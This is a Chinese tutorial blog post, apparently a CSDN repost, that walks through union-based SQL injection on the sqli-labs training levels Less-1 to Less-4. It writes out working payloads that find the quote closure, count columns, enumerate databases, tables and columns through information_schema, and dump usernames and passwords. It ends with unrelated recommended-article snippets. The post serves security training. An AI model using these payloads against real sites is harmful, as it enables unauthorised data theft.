web安全入门之SQL注入-联合查询法_1' union all select '1',username from operuser --&-程序员宅基地

技术标签: MYSQL  安全  网络  WEB  web安全-SQL注入  SQL注入  

SQL注入-联合查询法

1.联合查询法注入步骤

之前已经介绍过SQL注入的基本步骤在这里插入图片描述
这个步骤介绍的就是联合查询法的步骤,联合查询在SQL注入中最为简单
Metasploitable2-Linux中设置了不同的版本,Less-1 - Less-4就用的是联合查询法,今天主要针对于第一关Less-1,将其联合查询法的详细步骤原理

Less-1

1.求其闭合方式

在metasploitable2-linux中,我们可以切换到/var/www/sqli-labs-master/Less-1中,其中有两个文件,index.php文件就是web页面的脚本文件,我们在其中可以看到它的闭合方式为id=’$id’,我们在每一个版本Less中时,当猜不出其闭合方式时,我们可以查其脚本文件
在这里插入图片描述
在这里插入图片描述
在web页面中,我们不可能直接查看其脚本文件,我们只能通过SQL注入来一步步的导出其数据
在这里插入图片描述
关键SQL注入语句
Less-1/?id=1’ and 1=1 --+
Less-1/?id=1’ and 1=2 --+
原理:
我们在其脚本文件中看到的其闭合方式为单引号闭合,在web页面中不会显示器闭合方式,其闭合方式是隐藏的,原本id=’’,双引号中间是被闭合的内容,此时在1后面加上闭合符号的话,会打破其闭合,/?id=1’ and 1=1 --+,打破闭合后在加上and逻辑与语句,即可判断其闭合是否正确,–+为注释符#源码,注释其原闭合即不生效

逻辑与and 1=1,当其闭合方式正确时,and之前为真时,其结果必为真,则其页面回显就正常
逻辑与and 1=2,当其闭合方式正确时,and之前不管真假时,其结果必为假,则其页面无回显

求的其闭合方式为’'单引号闭合
在这里插入图片描述
在这里插入图片描述

2.二分法求表的列数

先引进一个函数 order by(),在SQL中是一个排序函数,在此页面中,可以用来爆列数,当其列数正确时,能回显正确的页面,其二分法是为了使其查询更为快速。
关键SQL注入语句:
/?id=1 ’ order by 10 --+
/?id=1 ’ order by 5 --+
/?id=1 ’ order by 3 --+
/?id=1 ’ order by 4 --+
在这里插入图片描述

3.观察其显示位

显示位:就是在页面上回显数据的位置
在观察其显示位时,需要用到联合查询union,联合查询就是使union的两端同时输出结果,此时可以使id=-1,这是一个错误语句,则其union之前的命令不执行,只输出union后的查询结果

关键SQL注入语句
/?id=-1’ union all select 1,2,3 --+
其显示位为select后两位,即2,3位
在这里插入图片描述

4.查找其用户数据库名

查找数据库时名时在系统数据库information_schema.schemata表中查找
先介绍用到的两种函数:
group_concat()函数:可以将列中的数据以行的形式显示
database()函数:可以将数据库直接回显出来

一种限制:limit限制
limit 0,1:0是指从第一行开始,1是指取一个数据

关键SQL注入语句:
/?id=-1’ union all select 1,2,schema_name from information_schema.schemata limit 0,1 --+
或者
/?id=-1’ union all select 1,2,group_concat(schema_name) from information_schema.schemata --+
或者
/?id=-1’ union all select 1,2,database() from information_schema.schemata --+
在这里插入图片描述
在这里插入图片描述

5.查找其用户所在表

已知其数据库为security的情况下,在系统数据库information_schema.tables表中查找

关键SQL注入语句
/?id=-1’ union all select 1,2,table_name from information_schema.tables where table_schema=‘security’ limit 0,1 --+
或者
/?id=-1’ union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+

在这里插入图片描述
在这里插入图片描述

6.查找其库中表的列名

已知数据库为security,表名为users时,在系统数据库information_schema.columns表中查找

关键SQL注入语句
/?id=-1’ union all select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
在这里插入图片描述

7.查找数据

已知数据库为security,表名为users,列名为id,username,password时,便能直接导出数据

关键SQL注入语句
/?id=-1’ union all select 1,username,password from security.users --+
或者
/?id=-1’ union all select 1,group_concat(username),group_concat(password) from security.users --+
在这里插入图片描述在这里插入图片描述

Less2-Less-4

Less1-4都为联合查询法,都可以通过此方法逐步爆出数据,只是其闭合方式不同

Less-2

求其闭合方式

关键SQL注入语句
/?id=1 and 1=1 --+
/?id=1 and 1=2 --+
求的其闭合方式为整形(无闭合符号)
在这里插入图片描述

Less-3

求其闭合方式

关键SQL注入语句
/?id=1’) and 1=1 --+
/?id=1’) and 1=2 --+

求的其闭合方式为(’ ')
在这里插入图片描述

Less-4

求其闭合方式

关键SQL注入语句
/?id=1") and 1=1 --+
/?id=1") and 1=2 --+

求的其闭合方式为(" ")
在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_43726831/article/details/100736085

智能推荐

vue-baidu-map路书实现轨迹回放_bml-lushu-程序员宅基地

文章浏览阅读4.1k次,点赞2次,收藏7次。通过vue-baidu-map中路书来实现的,bml-lushu是用来还原行进轨迹的组件。_bml-lushu

SeetaFace2 测试_seetanet-程序员宅基地

文章浏览阅读4.5k次。核心网络 SeetaNetc++版,开源,是动态库,应该无源码有模型侧脸时关键点完全不对了,同时检测人脸有误检i7 1070 gpu 18ms,关键点 几乎0mscpu几乎一样,最快的还是ncnn的mtcnn,效果还更好。路径:SeetaFace2用cmake gui生成就可以。https://github.com/jacke121/SeetaFace2..._seetanet

[linux下]理解Semaphore及其用法详解_ngx.semaphore详解-程序员宅基地

文章浏览阅读1.6w次,点赞5次,收藏18次。2009-05-12 13:13Mutex是一把钥匙,一个人拿了就可进入一个房间,出来的时候把钥匙交给队列的第一个。一般的用法是用于串行化对critical section代码的访问,保证这段代码不会被并行的运行。Semaphore是一件可以容纳N人的房间,如果人不满就可以进去,如果人满了,就要等待有人出来。对于N=1的情况,称为binary semapho_ngx.semaphore详解

如何让字体根据情况自动缩放?_css字体随页面缩放-程序员宅基地

文章浏览阅读1.7k次。为了实现类似的效果,可能需要使用媒体查询(Media Queries)或 JavaScript。上述代码中,段落文字的字体大小会设置为视口宽度的 3%。当视口宽度变化时,字体大小也会相应调整。字体自动缩放通常使用一种叫做"响应式字体大小"的技术,可以让字体大小根据视口的宽度自动调整。这只是一种基本的响应式字体大小的实现方法,实际应用中可能需要根据具体需求进行调整和优化。单位代表 viewport width,即视口宽度的百分之一。单位设置的字体大小会随着视口宽度的变化而变化。单位可以帮助实现这一效果。_css字体随页面缩放

MATLAB信号发生器仿真-程序员宅基地

文章浏览阅读3.4k次,点赞2次,收藏28次。[摘要]本论文以课题“信号发生器的MATLAB仿真”为背景展开,介绍了MATLAB仿真技术的发展和信号发生器的现状,结合线性调制系统的应用背景设计了一种结构简便、性能优良的线性调制信号发生器,全面的实现信号发生器的功能要求。本论文主要研究内容包括:1.研究了信号发生器的现状,MATLAB仿真技术的发展及现状,介绍了用MATLAB进行仿真的实用性及可靠性。2.研究了常规调制信号ASK信号、FSK信号..._参考文件idsys.m, 模拟理想系统的发射机和接收机的matlab仿真,画出信号波形。

基于Vmware workstation安装2台CentOS7.6 Linux操作系统_vmware中安装第二个centos-程序员宅基地

文章浏览阅读601次。这篇文章主要为大家详细介绍了VMware下CentOS 7 安装图文教程,具有一定的参考价值,感兴趣的小伙伴们可以参考一下。centos 7 下载地址。进入镜像下载主页:直接点击官方主页中的"Get CentOS Now"选项,即可进入CentOS镜像下载主页面如下:我们可以看到下载主页面中,中间主界面由三栏组成:第一栏主要提供最新版CentOS 7.x 镜像的下载信息,其中"DVD ISO"、“Everything ISO”、"Minimal ISO"分别对应其不同的镜像文件类型,点击.._vmware中安装第二个centos

随便推点

关于Oracle 01122,01110,01207的错误和解决-程序员宅基地

文章浏览阅读175次。windows xp,数据库oracle 10.2.0。1没有备份,基本上是默认安装,好像还不是归档模式症状:sqlplus只有sysdba用户能进去,其他用户进去一概报:ora-01033:oracle正在初始化或关闭而且sy..._ora-01110: 数据文件 1: 'c:\users\administrator\desktop\oradata\orcl\system01

osx 10.6.8_Apple推出OSX 10.10 Yosemite,iOS 8-程序员宅基地

文章浏览阅读258次。osx 10.6.8Apple has today announced the details of the next iterations of its desktop and mobile operating systems, Mac OSX 10.10 and iOS 8, in the keynote at its annual Worldwide Developer Conference..._macos 10.6.8原版

jQuery EasyUI+ajax+datagrid 实现table数据刷新_easyui ready函数和ajax-程序员宅基地

文章浏览阅读9.1k次,点赞2次,收藏17次。一、问题引入 日常开发中jQuery EasyUI的使用使页面展示table变得异常方便,特别使用datagrid组件。但使用ajax异步请求刷新table数据反填datagrid时,存在数据无法重新加载问题,本文皆在于解决这一问题二、具体实现1.加载JS/** * 客户信息JS */$(document).ready(function(){ //初始载入数据 loadData();..._easyui ready函数和ajax

6-1 使用函数求素数和(20 分)-程序员宅基地

文章浏览阅读5.8k次,点赞3次,收藏9次。6-1 使用函数求素数和(20 分)本题要求实现一个判断素数的简单函数、以及利用该函数计算给定区间内素数和的函数。 素数就是只能被1和自身整除的正整数。注意:1不是素数,2是素数。函数接口定义:int prime( int p );int PrimeSum( int m, int n );其中函数prime当用户传入参数p为素数时返回1,否则返回0;函数PrimeSum返回...

open edx_Open edX庞大而复杂的代码库的挑战-程序员宅基地

文章浏览阅读247次。open edx 开源运动的基本原则之一是免费获取知识。 越来越多的教育者,机构和组织认为开放获取知识不限于源代码。 对于一些团体和大学来说,这一直是全球教育未来的重点。 edX不仅通过与志趣相投的教育者和机构建立了梦幻般的合作伙伴关系,而且还通过公开采购构建edX的平台来为自己赢得声誉。 作为Opensource.com针对OSCON 2014的采访系列的一部分,我有机会与edX的软件..._openedx 什么语言

基于Akka模拟Spark中Master和Worker的通信过程_spark的master和worker通信方式-程序员宅基地

文章浏览阅读903次。一、Spark中Master与Worker之间的通信过程1、在启动时,Worker会向Master注册自己的信息(内存、核数等),以便2、Master收到各Worker的注册信息后,会回复Worker已注册成功的信息3、worker收到master的注册成功信息后,会定期向Master发送心跳包,回报自己的状态信息4、Master定期收到Worker的心跳信息后,会更新各个Wo..._spark的master和worker通信方式